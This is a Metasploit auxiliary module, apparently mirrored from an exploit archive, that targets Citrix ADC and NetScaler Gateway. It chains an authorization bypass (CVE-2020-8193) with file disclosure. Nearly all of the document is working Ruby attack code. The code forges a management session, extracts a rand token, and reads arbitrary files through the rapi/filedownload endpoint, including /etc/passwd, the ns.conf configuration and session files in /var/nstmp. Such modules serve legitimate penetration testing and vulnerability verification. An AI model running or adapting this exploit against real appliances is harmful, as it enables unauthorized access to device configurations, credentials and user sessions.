Share
## https://sploitus.com/exploit?id=PACKETSTORM:160047
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Citrix ADC NetScaler - Local File Inclusion (Metasploit)',  
'Description' => %{  
The remote device is affected by multiple vulnerabilities.  
  
An authorization bypass vulnerability exists in Citrix ADC and NetScaler Gateway devices.  
An unauthenticated remote attacker with access to the `NSIP/management interface` can exploit  
this to bypass authorization (CVE-2020-8193).  
  
And Information disclosure (CVE-2020-8195 and CVE-2020-8196) - but at this time unclear which.  
},  
'Author' => [  
'Donny Maasland', # Discovery  
'mekhalleh (RAMELLA Sébastien)' # Module author (Zeop Entreprise)  
],  
'References' => [  
['CVE', '2020-8193'],  
['CVE', '2020-8195'],  
['CVE', '2020-8196'],  
['URL', 'https://dmaasland.github.io/posts/citrix.html'],  
['URL', 'https://research.nccgroup.com/2020/07/10/rift-citrix-adc-vulnerabilities-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-intelligence/amp/'],  
['URL', 'https://github.com/jas502n/CVE-2020-8193']  
],  
'DisclosureDate' => '2020-07-09',  
'License' => MSF_LICENSE,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
}  
))  
  
register_options([  
OptEnum.new('MODE', [true, 'Start type.', 'discovery', [ 'discovery', 'interactive', 'sessions']]),  
OptString.new('PATH', [false, 'File or directory you want to read', '/nsconfig/ns.conf']),  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
def create_session  
params = 'type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1'  
  
request = {  
'method' => 'POST',  
'uri' => "#{normalize_uri(target_uri.path, 'pcidss', 'report')}?#{params}",  
'ctype' => 'application/xml',  
'headers' => {  
'X-NITRO-USER' => Rex::Text.rand_text_alpha(6..8),  
'X-NITRO-PASS' => Rex::Text.rand_text_alpha(6..8)  
},  
'data' => '<appfwprofile><login></login></appfwprofile>'  
}  
request = request.merge({'cookie' => @cookie}) if @cookie  
  
response = send_request_raw(request)  
unless response && response.code == 406  
print_error("#{@message_prefix} - No response to session request.")  
return  
end  
  
response.get_cookies  
end  
  
def fix_session_rand  
response = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'menu', 'ss'),  
'cookie' => @cookie,  
'vars_get' => {  
'sid' => 'nsroot',  
'username' => 'nsroot',  
'force_setup' => '1'  
}  
)  
  
if response && response.code == 302  
location = response.headers['location']  
  
response = send_request_cgi(  
'method' => 'GET',  
'uri' => location,  
'cookie' => @cookie  
)  
  
return unless response && response.code == 200  
end  
  
response.to_s.scan(/rand = "([^"]+)"/).join  
end  
  
def read_lfi(path, var_rand)  
params = "filter=path:#{path}"  
  
request = {  
'method' => 'POST',  
'uri' => "#{normalize_uri(target_uri.path, 'rapi', 'filedownload')}?#{params}",  
'cookie' => @cookie,  
'ctype' => 'application/xml',  
'headers' => {  
'X-NITRO-USER' => Rex::Text.rand_text_alpha(6..8),  
'X-NITRO-PASS' => Rex::Text.rand_text_alpha(6..8),  
'rand_key' => var_rand  
},  
'data' => '<clipermission></clipermission>'  
}  
  
response = send_request_raw(request)  
end  
  
def run_host(ip)  
proto = (datastore['SSL'] ? 'https' : 'http')  
@message_prefix = "#{proto}://#{ip}:#{datastore['RPORT']}"  
  
@cookie = create_session  
if @cookie && @cookie =~ /SESSID/  
print_status("#{@message_prefix} - Got session: #{@cookie.split(' ')[0]}")  
  
var_rand = fix_session_rand  
unless var_rand  
print_error("#{@message_prefix} - Unable to get rand value.")  
return Exploit::CheckCode::Unknown  
end  
print_status("#{@message_prefix} - Got rand: #{var_rand}")  
  
print_status("#{@message_prefix} - Re-breaking session...")  
create_session  
  
case datastore['MODE']  
when /discovery/  
response = read_lfi('/etc/passwd'.gsub('/', '%2F'), var_rand)  
if response.code == 406  
if response.body.include? ('root:*:0:0:')  
print_warning("#{@message_prefix} - Vulnerable.")  
  
return Exploit::CheckCode::Vulnerable  
end  
end  
when /interactive/  
# TODO: parse response  
response = read_lfi(datastore['PATH'].gsub('/', '%2F'), var_rand)  
if response.code == 406  
print_line("#{response.body}")  
end  
  
return  
when /sessions/  
# TODO: parse response  
response = read_lfi('/var/nstmp'.gsub('/', '%2F'), var_rand)  
if response.code == 406  
print_line("#{response.body}")  
end  
  
return  
end  
end  
print_good("#{@message_prefix} - Not Vulnerable.")  
  
return Exploit::CheckCode::Safe  
end  
  
end